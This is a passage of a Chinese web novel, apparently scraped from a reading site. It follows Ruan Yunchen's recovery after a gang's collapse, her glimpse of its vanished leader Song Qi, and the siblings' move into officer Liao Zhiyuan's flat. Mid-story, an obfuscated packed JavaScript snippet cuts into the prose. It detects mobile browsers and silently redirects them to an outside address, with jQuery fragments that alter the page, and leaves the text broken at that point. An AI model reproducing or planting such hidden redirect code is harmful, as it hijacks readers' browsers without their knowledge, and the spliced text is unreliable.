她能逃走一次,就能逃走第二次。 警察又怎么可能真的管得了每一个人的生死、每一件事的结局? 窗帘被风吹得微微扬起,散开的光影落在她的侧脸上。那一刻,她的表情像是掩在阴影里的刀锋,锋利,却不刺眼。 阮秋抬起头,目光沉稳,带着一丝少年的认真:“我们......还有转圜的余地,是吗?” 屋子里的空气似乎因为这句话缓和了一些,沉重感被微微削减。 阮云琛靠在床头,缓缓地喝完了最后一口粥,盯着那木勺看了许久,才终于抬起头淡淡地看了阮秋一眼:“风大了,记得关窗。” 阮云琛的声音很轻,落在空气里,像是在某种不容置疑的沉默中划了一道口子,将一切未出口的情绪全都封死在里面。 阮秋站在窗边,没有立刻回答。 他的手握在窗框上,停了很久,像是在斟酌什么,但最终只是不动声色地将窗关上。阳光隔着玻璃洒进来,落在地面上,平静得没有一丝波澜。 屋子里安静下来,只剩点滴瓶里的液体缓缓落下的声音,细碎,却清晰得让人烦躁。阮云琛侧过头,看着窗外被阳光刷洗得发白的世界,眼睛里映出一片朦胧的空茫。 “你该休息了。”阮秋的声音打破了沉寂,像是一句陈述,又像是一种请求。 阮云琛没有回答,依旧靠在枕头上,视线没有焦点地落在天花板上。那白色让人头晕目眩,眼前的一切都像漂浮在某种虚假的光亮里。 她闭上眼,试图驱散这种不真实的错觉,但那种劫后余生的震荡感像是一场梦魇,挥之不去。 和安堂塌了。 真的塌了。 可为什么……她觉得自己依旧被囚禁在某个无形的空间里,四周没有出口,天光透不进来,只有某种无声的注视,像影子一样黏在她身上。 阮云琛只觉得自己的指尖微微发麻,下意识地抓了抓身下的被子。 那些阴冷的感觉并没有因此散去,反而像是一种无孔不入的存在,渗进她的骨髓里,让她分不清什么是真实,什么是梦。 “秋。”她忽然开口了,声音低哑,像是被阳光晒干了一层,“我想......下楼透透气。” 阮秋皱了皱眉头,显然对这个要求并不认同。他直起身,语气带着些许劝说的意味:“腿骨折了,医生不让你乱动——” “我想下楼透透气。”她重复了一遍,语气没有波动,却带着一种不容置疑的力量。 阮秋犹豫了几秒,终究没有再争。 他去拉了轮椅过来,将输液瓶挂上支架,然后轻轻扶她坐下。他的动作小心翼翼,生怕弄砸了什么。 轮椅的皮革靠背贴上脊背时,阮云琛微微皱了下眉,阮秋慌了神,刚想开口,阮云琛却拍了拍他的手,让他放轻松。 “没事,就是吃太饱了,肚子胀。” 阳光透过窗户洒在地板上,明亮而刺目。医院里那股消毒水的气味并不浓烈,但有一种挥之不去的粘腻感,像细雨落在布料上,渗进每一个缝隙,怎么洗都洗不干净。 阮云琛吸了一口气,胸腔里隐隐发闷。她想,这里太安静了,安静得像一张白纸,连一丝墨迹都没有,干净得让人浑身不自在。 她的视线在走廊里扫了一圈,昏黄的灯光落在那些光滑的瓷砖上,光泽有点刺眼。几个护士推着药车从前方经过,白色的工服在她眼中晃了一下,像一缕薄雾飘过。 阮云琛的身体倏然不自觉地僵了住,手指无意识地收紧,轮椅扶手发出一声细微的“咯吱”声。她甚至没有意识到自己在攥紧它,直到指尖开始发白。 药车的轮子压过地面,发出细小的咯吱声,声音在安静的走廊里显得格外突兀。护士走得不快,步伐轻得像落在棉花上。 太轻了。 脚步声太轻了。 一种迟钝的、不真实的感觉从阮云琛的胸口升起,像有什么东西在皮肤下面慢慢扩散,带着令人窒息的寒意。 白色的工服在空气中轻轻晃动,像是一面薄薄的帷幕,一下子将她从现实拽进了另一片陌生的空间。 空气变得沉重。 那就像是一块湿漉漉的棉布盖在她脸上,透不过气。 耳边的声音开始模糊,点滴的滴答声远远退开,取而代之的是一种低沉的轰鸣,那声音夹杂着枪声、呛人的灰尘和沉闷的脚步声。 那些脚步声不轻不重,却带着一种令人作呕的湿意,每一次踩下去,都像是压在某种黏稠的东西上。 阮云琛的喉咙不自觉地动了动,却发不出任何声音。 脚步声越来越近,越来越重,直到它几乎要落在她的胸口。她的呼吸顿住了,眼前的光线一点点暗下去,冰冷的幻觉像是一双手,死死掐住了她的后颈。 阮云琛忽然觉得耳边有些嘈杂,明明周围一片安静,却像有许多杂音从她耳膜边刮过。 那是某种混杂的声音,笑声,骂声,尖叫声,甚至还有液体落地的细响。她的眼皮微微跳了一下,手指不自觉地抓紧了轮椅的扶手,直到指关节泛白,骨骼开始咯吱作响。 轮椅忽然停下,惯性让她身体微微晃动了一下。阮云琛猛地回过神,胸腔里堵着的那口气还没来得及吐出。 “别怕。”阮秋的声音从身后传来,低沉,却带着一股隐约的笃定。他的脚步很轻,绕到轮椅前停下,半蹲下来,眼睛平视着她。 阮云琛依旧没有动,她的呼吸很浅,几乎听不到,眼睛越过他的肩膀,像是被什么看不见的东西牢牢钉住了。 她看不见他,也看不见四周,整个人像被固定在轮椅里,只剩下一双眼睛,冷冷地盯着走廊尽头那辆已经消失的药车。 阮秋没有开口催促,只是静静地蹲在那里,像是一座不会开口的雕像。 他的存在很安静,但又足够具体,像一块从热水里捞出的毛巾,带着些许潮湿的温度,却不急于擦拭。 走廊里回荡着一点点残存的药车滑动声,远了,淡了,终于在拐角处彻底消失。 阮云琛的目光却仍然僵在那里,眉间微微拧起,像是要透过那片静止的空气,抓住某些看不见的东西。 “姐。”阮秋低声叫了一句。 她的眼睛动了一下,但还是没看他。她的手依旧攥着轮椅扶手,指尖已经泛白,手背上的青筋突起得像是要破皮而出。 “结束了。”阮秋的声音低了几分,像是一道轻飘飘的绳索,试图把她从悬崖边拉回来。 阮云琛的手指轻微抖了一下,扶手发出一声咯吱响。她的喉结动了动,像是想说什么,可声音卡在喉咙深处,无论如何也吐不出来。 结束了......? 真的结束了吗? 这句话在她脑海里一遍遍回荡,像一面无法捅破的镜子,映着那些支离破碎的影像。 她的思绪开始溃散,像是被什么东西撕扯开了裂缝——和安堂的灯光永远那么昏暗,空气里飘着刺鼻的烟味和血腥气,宋祈懒散地坐在他常坐的位子上,手指点着桌面。 他的眼睛,总是冷的,像是蛇的眼睛,随时准备扑上来咬断谁的喉咙。 可他真的没了。 和安堂也没了。 一切都结束了。 医院的广播里还在报着刚才听过的新闻,“和安堂”三个大字一遍又一遍地回响在走廊之中。 黑色的扬声器之下埋着的是那个曾经让人无法喘息的地盘,还有那些至今仍像利爪一样抓住她的过往。 “姐......阮云琛。”阮秋的声音再次响起,轻轻的,却带着不容忽视的分量。 阮云琛睁开了眼,模糊的视线中是少年人的脸。 阮秋已经蹲下身,安静地看着她。他没有说话,也没有着急,只是这样看着她,像是在等她重新找回地面。 她的目光依旧没有聚焦,越过他,看向走廊尽头,那里空无一物。可她仍然觉得,那辆药车还在那里,那种沉重的脚步声还在,那些无法摆脱的眼神还在。 阮秋伸出手,慢慢搭在她的手背上。他的动作很轻,轻得像是害怕触碰到什么不该触碰的东西。他的掌心很暖,带着粗糙的纹理和扎实的触感。 “一切都结束了。”他说。 他的声音低而稳,像是一块石头砸进混乱的水面。 阮云琛的手指僵了一下,指尖微微收缩,像是想要抵抗什么,但最终没有再坚持。那一瞬间,她像是一只断了线的风筝,随风漂浮着,无根无依。 真的结束了...... 真的结束了。 她的呼吸还有些乱,目光落在阮秋的手掌上,那些掌纹粗糙却干净,与她记忆里的血与伤痕毫不相干。 阮云琛缓缓垂下眼,肩膀慢慢放松了些许。 即便她的心里还有一些声音在挣扎,在反驳,可那声音已经没有那么响了。她无法否认,连日以来如影随形的紧绷感,像是终于被什么东西一点一点切断了。 一切都结束了。 废墟已经塌下,和安堂也不在了,那些曾经追着她不放的影子,现在只能栖在她的记忆里。它们会时不时跳出来咬她一口,但终究再也无法成为现实了。 她吸了一口气,像是要把胸口的阴霾一并吐出去。扶手上的手指松了松,骨节从紧绷中解脱开来。皮革靠背因为她的动作轻轻凹陷了一些,她缓缓靠了回去,眼神低垂,藏住了所有的疲惫。 “没事。”阮云琛说,“我没事。” 这一句话像是落在深水里的一颗石子,带着迟缓的回响。阮秋的肩膀几乎不可察地放松了一点,过了很久,他才缓缓松开手。 轮椅继续向前滑动,发出轻微的嘎吱声。他们进了电梯,阮秋按下楼层按钮,冲里头拄拐杖的老人笑了笑。 老人站在角落,吊瓶架的轮子滑动了一下,发出金属摩擦的声音。老人穿着一件宽大的病号服,瘦削的手腕露在袖口外,指尖搭着拐杖的顶端,阮云琛感觉到他在打量她。 那是一种本能的感觉,她甚至不需要回头就知道那视线停在哪里。 她没有转头,眼睛盯着地板,呼吸轻得几乎没有声响。她的身体绷得很直,就像被什么无形的东西牵制住了一样,哪怕只是抬眼看一看,似乎都会引发一场未知的麻烦。 “姑娘,”老人的声音忽然响起,“你是不是也觉得这医院的饭难吃得连老鼠都不想碰?” 阮云琛愣了愣,身体又条件反射地紧绷了起来。她缓缓抬头,看到老人皱巴巴的脸,脸上的表情也说不上来是不高兴还是委屈。 她没答话,喉咙里像卡了什么东西,只能轻轻点了点头。 “唉,就是说啊!早上的粥这么咸,跟盐里头放了几粒米似的。”老人晃了晃头,眼神飘向角落的吊瓶,像是在自言自语,“也不知道这些人是怎么煮的。” 电梯叮的一声停下,门缓缓打了开。老人最里面叨叨着,拄着拐杖慢慢挪了出去。 里面的空气沉静下来,只有吊瓶轻轻晃动的声音在耳边敲打,像一颗小石子掉进水里,荡开细碎的涟漪。 阮云琛靠在轮椅背上,视线垂落,手指缓缓松开了轮椅的扶手,指尖弯曲了一下,像是在确认自己还拥有身体的控制权。 刚才绷紧的那根弦终于断了,松散下来的瞬间,像是拉着她的整个人向后坠了一步。 耳边的杂音散去了,取而代之的是一点微弱的滑动声,那是电梯在下降,轻微而平稳,像是某种极小的保证。 “是很难吃。”阮秋的声音从头顶传来,不急不缓。 阮云琛愣了一下,抬眼看向了他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087827|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 阮秋低头看着电梯上的楼层显示,脸上的表情平淡得没有波澜,语气里甚至透着一丝不以为然的漫不经心:“昨天的菜都没放盐。” 阮云琛眨了眨眼,没完全理解他说的话。 电梯里太安静了,安静得像一张洁白的纸,什么话都显得突兀而有分量。 “我尝了一口,觉得不对劲,就自己做了饭带过来。”他说,语气依旧平静,却没有刻意掩饰那份理所当然。 电梯门缓缓合上,空间里又恢复了安静,只剩下电梯滑动的嗡嗡声和微微晃动的吊瓶。 阮云琛没有立刻回答,只是靠着轮椅,眼神垂下来,像是被什么东西拉回了一个无声的空间。 她的目光落在地板上,眸子里一片寂静,过了很久,才轻轻动了动嘴唇:“南瓜粥很好喝。” 她说得很慢,语调平淡,像是自言自语,但每个字却咬得清清楚楚。 阮秋低头看她一眼,没有出声。 他的目光垂在她肩膀的位置,像是在确认她是不是认真的。片刻后,他缓缓勾了勾嘴角,动作极轻,几乎没有痕迹,但那抹笑意却从眼底散了开来,像是拂过了一阵看不见的风。 电梯叮的一声停下。 门缓缓打开,外面的光线冲了进来,带着医院里特有的干净与凉意。阮秋推着轮椅刚走出几步,前台的方向忽然传来一个声音:“那边那位...那位603房的!你等一下!” 阮云琛抬起眼,目光略过护士台,一个护士探出头来,冲着她招了招手。 那护士站在前台,手里捧着什么东西,微微扬了一下,笑着说:“刚巧,有人送了东西给你。” 她顿了顿,目光落在护士手中的物品上,那是一束花,白色的百合,花瓣干净得没有一丝瑕疵,却扎着一根过于突兀的黑色丝带。 阮云琛的目光在花束上停了几秒。 白色的百合花花瓣微微绽开,边缘细腻柔软,仿佛一碰就会散掉,但那根扎得紧实的黑色丝带却像一根无声的绳索,将它的美压得令人窒息。 她的心不由自主地往下一沉,像是一颗石子落进了深井,砸碎了表面短暂的平静。百合花、黑丝带——太刻意了。 甚至不是花本身的问题,而是它出现在这里的方式,让人无法忽略。 她的喉咙干了一下,下意识地吞了吞口水,但胸口像被什么东西堵住了,怎么都顺不下去。 谁会送这样的东西? 她眯了眯眼睛,脑海里第一时间闪过几个模糊的面孔,但又被她迅速否定。 廖致远刚走,离开时手里拎的是一兜扎得鼓鼓囊囊的塑料袋,里面堆满了随便挑的水果——几颗苹果、一串廉价的葡萄,还有几只根部泛青的香蕉。 塑料袋在他手里勒出深深的痕迹,怎么看都不像一个会送这种包装精致、搭配讲究的花束的人。 其他人? 没有其他人。 阮云琛甚至不需要费劲回忆,就能确定自己从不认识谁会把花送得这么……正式,甚至有点过头。 太正式了,也太熟悉了。 阮云琛的手指微微蜷起,手背上的青筋因为僵硬而隐隐绷起。空气安静得像是凝固了一瞬,随后,那个已经被她压在记忆深处的身影像针一样刺破了她的理智。 她不自觉地抿紧了嘴角,呼吸有些轻,甚至有些急促。她很清楚,这种品味并不常见——至少在她的世界里,少得几乎只有一个人。 她的心底咯噔一下,背脊随之绷紧,像是某种无形的危险正在靠近。 “谁送的?”她开口了,声音不高,却带着一丝难以察觉的冷意。 护士愣了一下,随即指了指门外:“还在门口,那位先生。” 阮云琛没有立刻说话,她的目光缓缓从花束上移开,转向护士身后的玻璃门。 阳光正浓,透过透明的玻璃落在地板上,干净而刺眼。而那个懒散的身影,像是从日光里剪出的一个影子,就这样落进了她的视线。 他戴着帽子,帽檐压得很低,身体微微后仰,靠在墙边。阳光无法照进他的眼睛,但他的头轻轻抬起了一点,露出嘴角那个熟悉得令人发寒的弧度。 空气像是被压了一瞬。 男人懒散地靠在墙边,帽檐压得低低的,整个人像从日光里剪出的影子,明明不过是个模糊的轮廓,却如针尖一样扎进阮云琛的眼睛。 她的呼吸骤然轻了几分,像是肺里的空气被什么东西挤压了出去。手指下意识地握紧了轮椅扶手,泛白的指节甚至隐隐透出青筋。 ……不可能。 和安堂......和安堂不是垮了吗? 警察悉数逮捕了所有涉黑人员,查抄了和安堂名下所有的娱乐场所......可、 宋祈呢? 广播里......广播里有提到过和安堂的老大吗? 阮云琛强迫自己冷静下来,可思绪却无论如何也凝不起来。而当她再次抬眼时,那堵墙空了。 什么都没有了。 阳光还是那片阳光,落在地板上的光线没有丝毫变化,玻璃门外的风带着丝丝凉意,吹得医院门口的树叶轻轻晃动,沙沙作响。可那个懒散的身影,就像从未存在过一样。 阮云琛怔了一瞬,胸口猛地一紧,手心渗出了一层冷汗。 她深吸了一口气,却怎么都没法把那股异样的窒息感压回去。她抬手捏了捏眉心,试图让自己冷静。 错觉......? 不、不可能。 眼前那根黑丝带扎着的百合花却像是一只无声的手,死死揪住了她的神经。 他在这里。 他一定在这里。 不可能错的。 那种感觉,那种像被毒蛇盯上的寒意,绝对不会是错觉。 “没事吧丫头?”护士的声音从前台传来,带着点疑惑。 阮云琛没有回答,喉咙像被什么东西堵住了一样,只是沉着眼深深地呼吸了几次,试图让自己的声音不颤抖得那么明显:“我能......借一下电话吗?” 护士眨了眨眼,显然有些意外,但很快反应过来,将电话机推到了她面前。 阮云琛抬手去拿,手指刚触到听筒,动作却忽然顿住了。 电话握在掌心的触感是冰冷的,塑料外壳的温度透过皮肤,像是一瞬间封住了她的力气。她的目光落在按键上,却迟迟没有动,指尖轻轻悬在“0”的上方,顿了很久。 她该打给谁? 手指微微颤了颤,却迟迟没有按下去。 思绪像被什么拽住了一样,一瞬间乱成了一团。 ……她没有认识的人。 阮云琛没有认识的人。 半晌,她放下了听筒,深吸了一口气,手指伸进口袋,掏出一张被揉皱的纸条。 那张纸条很旧,边角都磨出了毛边,皱巴巴的纹路在灯光下像是一张干涸的河床。她看了一眼,眼神微微一滞,最终还是拨通了上面的号码。 电话拨出去的瞬间,她的手停在听筒上,心脏紧绷成一条线,像是吊在某个未知的高空,随时可能断掉。 嘟——嘟——嘟—— 每一声等待音都像是一锤,敲在她的耳膜上。她的目光落在前方,玻璃门的方向依旧空空荡荡,只有几片树叶被风卷起,打着旋落在地上。 “喂?”电话那头传来一个略显低哑的声音,透着熟悉的沉稳和一丝疲惫。 是廖致远。 阮云琛没有立刻说话,指尖紧紧攥着听筒,力气大得指关节都发白。她张了张嘴,声音却像被什么压住了一样,过了几秒才勉强开口:“是我。” 69. 一地鸡毛 清晨的光线透过窗帘的缝隙洒进来,落在一张铺满练习册和笔记本的书桌上。闹钟在桌角不停地嘀嗒作响,指针缓缓逼近六点。 阮云琛坐在桌边,头低得几乎要贴上试卷,笔尖在纸面上飞快地划动,发出细碎的沙沙声。她的手肘旁放着一杯凉透的茶水,茶叶沉在杯底,显得毫无生气。 一旁的墙上贴着一张高考倒计时表,红色的数字格外醒目:还有30天。 门外传来脚步声,不轻不重,一下接着一下,很有节奏。 阮云琛抬头看了一眼门口,片刻后又低下头,专注于手中的最后一道题。 “姐。”阮秋推开门,手里端着一碗热腾腾的粥。他穿着校服,领口敞开,鞋子没穿袜子,整个人看起来懒懒散散的。 “怎么了?”阮云琛头也不抬,语气平淡。 “早点吃了。”他把碗放在桌上,顺手把她杯里的凉茶端走,动作熟练得像是每天都在做这件事。 “放那儿吧。”她继续写题,笔尖划过纸面的速度一点没减慢。 阮秋低头看着她,目光落在她有些发白的嘴唇上:“少熬夜,太困了的话,看多少也都是白看。” “知道。”她答得敷衍,翻过试卷的最后一页。 阮秋站了两秒,没再多说什么,转身走了出去。走廊里传来他推开淼淼房门的声音,隐约还能听到淼淼不耐烦的嘟囔声。 屋里重新安静下来,只有笔尖划动的声音。阮云琛的目光落在倒计时表上,数字像是一块隐隐压着她胸口的石头,提醒她离目标越来越近,同时也越来越重。 宋祈没有落网。 和安堂是倒了,那个昏暗嘈杂的地方被查封,楼下的霓虹招牌被人连夜砸碎,支离破碎的灯管扔在垃圾堆里,连光都散得寒碜。 余党虽然还有,但也都在逃窜,没人敢再这么明目张胆地为非作歹。 可那个人却消失了。 他彻彻底底地从这个城市里抽离,像根针扎进海里,无声无息。 警方推测他逃去了海外。有人说他换了身份,藏在某个谁也查不到的地方;也有人说,他早就死了,尸体随着货轮沉在了大洋深处。 消息在廖致远的案头堆了几次,又被他扔进档案柜封存起来。 可阮云琛知道——他还在。 那种感觉扎得太深,无法拔除。即便现在,她仍能在某个阳光灿烂的清晨,莫名地感到一阵凉意,像有一道阴影从她背后掠过。 “他短时间回不来。”廖致远的声音平静,却带着某种试图压下的烦躁,“但如果他想回来,没人拦得住。” 那天,阮云琛打电话给他,电话那头是片刻的沉默,随后是一声略显疲惫的“说吧”。 她几乎是用尽了全身的力气才让自己的声音听上去像平常一样:“帮帮我......求您。” 沉默再次拉长,只有电流的嗡嗡声在听筒里若隐若现。阮云琛觉得时间被拉得很慢,每一秒都像钉子一样敲在心口。 “我可以帮你。”他说,声音里透着一丝疲惫,停顿了一下,又补充道,“但有些事情,总得靠你自己解决。” 阮云琛没有回答,喉咙像被什么堵住了一样。她听着话筒里电流的轻微嗡鸣,像是时间被拉得极长,而空气凝滞在某个难以言说的瞬间里。 电话对面的警察似乎还想说点什么,像是提起福利院,或者别的什么。话到嘴边,却终究没说出口。 沉默在两端拉长到几乎让人忘记这是一个通话时,他的声音再次传来——平静得没有任何起伏。 “你们搬到我家吧。” 简单的一句话忽地砸在了耳边,却像是整个世界突然静止了片刻。 阮云琛的手紧攥着电话听筒,指尖无意识地用力。她的第一反应是迟疑,甚至有些不敢相信自己的耳朵。 但他没有解释,也没有等她回答,就像这不过是一个最普通不过的安排,不值得过多讨论。 那天的电话在一阵短暂的忙音中结束了。 后来,廖致远真的开车来接了他们。 那是一辆老旧的车,车头带着些许划痕,后备箱里堆满了杂乱的资料袋和半空的水瓶。 阮云琛坐在后座,旁边是兴奋的淼淼和怔忪的阮秋,窗外是阳光明媚的街道和一排排连着的梧桐树,枝叶投下斑驳的影子,随着车速在她眼前飞快地晃过。 他们搬去了廖致远的小公寓。 他那分配的小公寓不大,一共就一间卧室一间书房,廖致远把自己那间给收拾了出来——毕竟平日里也不常回家。 阮云琛把这间最大的让给了淼淼,阮秋住在了书房,廖致远想了想,在客厅用帘子隔了个小间出来,当阮云琛的卧室,他自己则随便在沙发上躺一躺——不算拥挤,但阮云琛原本并不打算这样。 她当初站在电话机旁的时候,已经想好了台词——她只是需要一点帮助,暂时的,不会占用对方太多时间和资源。 她甚至已经规划好了住回老地方的生活,尽管那儿的环境算不上安全,但至少是她熟悉的,能掌控的。她从不奢望让任何人真正插手自己的生活。 可廖致远的态度坚决得让她无法拒绝。 “回自己家?”他皱起眉头,像是在听一个笑话,“你觉得你有能力去对抗一切?” 她本想争辩,但话到嘴边,又觉得他的话有道理。那些沉重的可能性像是钝刀子一样磨在她的脑海里,最终把她所有的理由都削成了沉默。 廖致远看着她,没有再继续追问什么。他没有更多的语言,也没有表现出任何慷慨或善意的姿态,只是冷淡而干脆地说了一句:“住到我那儿去吧。” 他的语气平静得几乎没有情绪,像是在宣布一项任务,而不是提供一份帮助。 阮云琛知道,这个决定对他来说并不轻松。 他的生活并不比她们轻松多少,甚至可以说是一地鸡毛。 他的书桌永远被散乱的文件占据,电话总是响个不停,连家里的餐具都只有几双,还是那种市场上随便买的最便宜的款式。 廖致远并不是主动的那种人。 他不会多管闲事,也不会没事找事。可一旦接受了这份麻烦,他就会尽力做好。 “我说了,搬过来。”那天,他站在车旁,钥匙在指尖轻轻转着,语气平静又不容置疑,“你们......还只是孩子。” 阮云琛听见这句话的时候,脑子里突然卡住了。 她很少被人当成“孩子”。福利院的那段日子把“依赖”从她的字典里抹去了。 可现在,这个疲惫又纠结的中年男人,用一种几乎是责备的口气,把这两个字硬生生塞回了她的生活里。 ——就像那年雨夜。 九岁那年的雨夜,他站在警车旁,撑着一把黑伞,告诉她:“放心,没人会伤害你们。” 阮云琛缓缓地深呼吸了口气。 廖致远的家比阮云琛想象的要小。 那是单位分配的家属楼,老式的防盗门吱呀一声开了,露出一间带着霉味的客厅。 墙角的白漆剥落得斑驳,地板发出轻微的嘎吱声,光线从窗户投进来,带着一种过分直白的冷静。 “就这儿了。”廖致远站在门口,点了点头,“凑合着住吧。” 廖致远没问她具体经历了什么,也没向别人提起。 他看起来就像是个什么都没听见、什么都没看见的局外人。可两人都知道,那层隔膜已经被刺破了,只是谁也没有明白着说出口而已。 那之后,过去了一年。 阮云琛靠在椅子上,目光扫过桌上的倒计时表。红色的数字一天天往下减,墙角贴着的计划表上满是她用红笔划掉的痕迹,密密麻麻,像某种无声的警告。 淮龙小学的那位老教师真的帮阮云琛写了推荐信,附高的教务处给阮云琛了一套理综和和一套文综的题,她全答了出来——他们虽有些难以置信,没想过这么个小学没读完、又缺了整个初中的人会有这样的本事,但还是把全额奖学金给发了下来。 这一年里,廖致远替阮秋处理了身份。 阮秋拿到身份证那天,整个人都愣住了。他捏着那张薄薄的蓝色塑料片站在门口,半晌才低声开口:“……这是真的?” 没人回答他。 阮云琛伸手拿走了身份证,扫了一眼,放进抽屉里:“好好学习,别辜负人家跑来跑去的功夫。” “哦。”他低低应了一声,随后转身进了房间,动作很快,却掩饰不住自己兴奋的心情。 日子就这样一天天过去了。 奖学金的通知挂在墙上,纸页已经有些发黄,边角微微卷起,像是被太多双眼睛注视过一样。 阮秋偶尔会站在它面前,低头系鞋带的时候多瞥几眼,却从来不说什么。 淼淼倒是兴奋,拿着圆珠笔在表格上的名字旁画了一个小小的五角星,跑去告诉阮云琛:“姐,你真的很厉害!” 阮云琛从书堆里抬起头,看了她一眼,伸手拨了拨她的额发,没有说话。 相比之下,廖致远几乎很少出现在家里。 他很忙,日不着家,桌上的灰总是落得比人影多。 “廖叔今天回来吃饭吗?”淼淼夹着一块土豆,坐在餐桌旁,声音里带着一丝小心翼翼。 问完又自顾自地摇了摇头,低声补了一句:“估计又加班了吧。” 她的语气里透着点小小的遗憾,却又像是早已习惯了。 阮云琛没有接话。 碗里的汤已经凉了半边,油花浮在表面,偶尔轻轻晃动一下,像是微弱的喘息。 她低头夹了一筷子青菜,语气不带波澜地说:“吃完了就去做作业。” 淼淼点点头,埋头把最后一口饭扒进嘴里,跳下椅子跑回房间,脚步声轻轻地在走廊里回响。 “姐,洗碗我来吧。”阮秋从她手里接过碗,动作自然得像是每天都在做这件事。他用肩膀顶了顶厨房的门,声音闷在水龙头的哗哗声里:“你再忙下去,连试卷都 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廖致远没提过她,只字不提。 淼淼好奇过一次,站在照片前小声问:“廖叔,这是谁啊?” “一个朋友。”他回答得很随意,连头都没抬,手里的笔在报告上画了个圈,就把话题随手掐断了。 后来,阮云琛无意间听邻居提起过一次——廖致远的老婆在三年前离开了,他自己说是“走散了”,那天之后就彻底没了音讯。 说是廖致远自己去警察备案,让人找了一段时间,可最后也不了了之。 “听说她也没带什么东西走,连身份证都留在家里。”邻居低声感慨,“说是走散了,谁知道呢……有些事,怕是没法说清楚了。” 这些事从没从廖致远嘴里亲口说出来。 没人问,他也不提。可有些东西即使没人说破,依旧像空气里的霉味一样,潜伏在角落里,没人看见,却无处不在。 像廖致远的家庭,像阮云琛的过去。 阮云琛低头看了看手表,放下筷子站了起来。椅子在地板上拖出一声轻响,她转身从沙发扶手上拿起外套,随手抖了抖衣袖上的褶皱。 “姐,晚上几点回来?”淼淼仰头看着她,脸上写满了不情愿。 “八九点吧。”阮云琛一边穿外套一边答,声音不高,带着一贯的平淡。 淼淼撅起嘴,眉头皱成一个小小的“川”字,似乎有点不高兴。她抱着手臂靠在椅背上,低声嘟囔了一句:“你每天都这么晚回来。” 阮云琛低头整理衣领,没有回应,只是伸手拿起了放在茶几上的钥匙。 “快别撅嘴了。”阮秋靠在椅子上,半侧过头看着淼淼,嘴角带着一点淡淡的笑意,“姐又不是去玩儿,不然你替她去打工?” 淼淼鼓了鼓腮帮子,睁大眼睛瞪他:“才不要呢!我才不要像你这样整天讲大道理。” 阮秋笑了一下,伸手拍了拍她的脑袋:“好吧,那你赶紧说,晚上想吃什么?” 淼淼闻言,眼睛一亮,坐直了身体,一字一顿地说:“我要——巨无霸鸡肉汉堡!姐姐店里的!” “汉堡?”阮秋扬了扬眉,看着她认真点头,语气故作嫌弃,“你最近吃了几个汉堡了?小心不消化,吃胖了没人要。” “才不会!”淼淼气呼呼地叉着腰,声音拔高了几分,“我才不胖!而且汉堡很好吃!” 阮云琛站在门边,手搭在门把上,回头看了他们一眼:“行了,别吵了,晚上等我回来再说。” 她顿了一下,又补充了一句:“别给我吃光冰箱里最后一点青菜。” 阮秋笑着应了一声:“放心,不会的。” 门轻轻关上,屋子里重新归于平静。 淼淼趴在椅背上,目送着阮云琛的背影消失在门外,扭头小声问阮秋:“姐每天这么晚回来,什么时候能休息啊?” 阮秋把碗里最后一块土豆送进嘴里,抬眼扫了她一眼,慢吞吞地嚼完才说:“她休息了谁给你买汉堡?” “那我不要汉堡了!”淼淼嘟着嘴,胳膊抱在胸前,像是在抗议。 阮秋低头笑了一声,把碗叠起来送进厨房。他站在水槽前,低头用水冲刷着油腻的碗碟,手上的动作很慢,却不见丝毫停顿。厨房的灯光从他侧脸投下来,勾出一片柔和的阴影。 “不要汉堡也晚回来。”他说,声音压得很低,像是自言自语。 淼淼趴在桌上,耳朵贴着桌面,听着远处传来的水流声,嘀咕了一句:“大人总是这么麻烦。” 阮秋没有接话。 他把碗洗了干净,搁在沥水架上,又用毛巾擦了擦手,才转身走回客厅:“收拾一下,等会送你上学。” 淼淼“哦”了一声,不太高兴地鼓起了嘴。 桌上的计划表被风吹动了一角,微微晃动着,像一页未翻完的书。 而那计划表下面,有一把扁扁的折叠刀。 70. 汉堡店 夜晚的空气微凉,街边汉堡店的霓虹灯发出轻微的嗡嗡声,将淡黄色的光线投在阮云琛的身上。 她从后门走出来时,肩上还挂着工作用的围裙,低头抬手解开系得有些紧的结,准备收进包里。 门外站着一个熟悉的身影。 阮云琛顿住,动作停在半空中:“我不是让你别来吗?” 昏暗的路灯下,阮秋站在那里,手插在兜里,微微垂着头,显得有点懒散。他听见这话,抬头看了她一眼,嘴角抿成了一条直线,像是早就料到她会这么说。 灯光打在他的脸侧,显出他眉骨和下颌的线条,比一年前更加分明了些——他的身高几乎已经和她持平了。 原本只能到肩膀的少年,如今已经是一个挺拔的身影。那双低垂的眼里,带着他独有的沉默和倔强。 “我不放心你。”他的声音不高,却很稳,语气像是在陈述一个无法反驳的事实。 “有什么不放心的?”阮云琛语气平静,低头把围裙塞进包里,声音带着一丝敷衍,“我又不是第一次这么晚下班。” “姐,你说过的话自己信吗?”阮秋的声音压低了一些,带着一种过分冷静的执拗,“和安堂是没了,可你知道他们还有多少漏网的东西。” 阮云琛的手停顿了一下,皮包的拉链被拉了一半,露出一条狭窄的缝隙。 夜风从街尾吹过来,裹着远处快餐店的油烟味,还有一点淡淡的金属冷气息。她抬起眼,目光掠过阮秋的脸,没有继续这个话题。 她抬起眼,目光掠过阮秋的脸,声音很轻,却带着一点不容置疑的意味:“那你来了,又能有什么用?” 话音刚落,阮秋的喉结动了一下,像是被什么东西噎住了。他的嘴唇微微张开,却没有立刻接话,只是站在那里,眉头轻轻皱起。 “起码……”他低声开口,语气里带着一丝不甘和压抑,“起码多一个人。” 阮云琛盯着他,目光微微一沉。风掠过她的发梢,把刚刚解开的围裙带子吹得轻轻晃动。她没有说话,只是把包的拉链拉上,发出轻微的“咔嗒”声。 “一个人,跟两个,是不一样的。”阮秋说。 “你太小了。”阮云琛平静地打断他,语气淡淡的,但声音很稳,像是一颗钉子直直地敲进对方的话头里,“多你一个人也没有用。” 阮秋的拳头在兜里轻轻握紧,指尖微微发白。他没有立刻接话,低着头站在那里,像是被她的话压住了,却又像是在用力撑住什么。 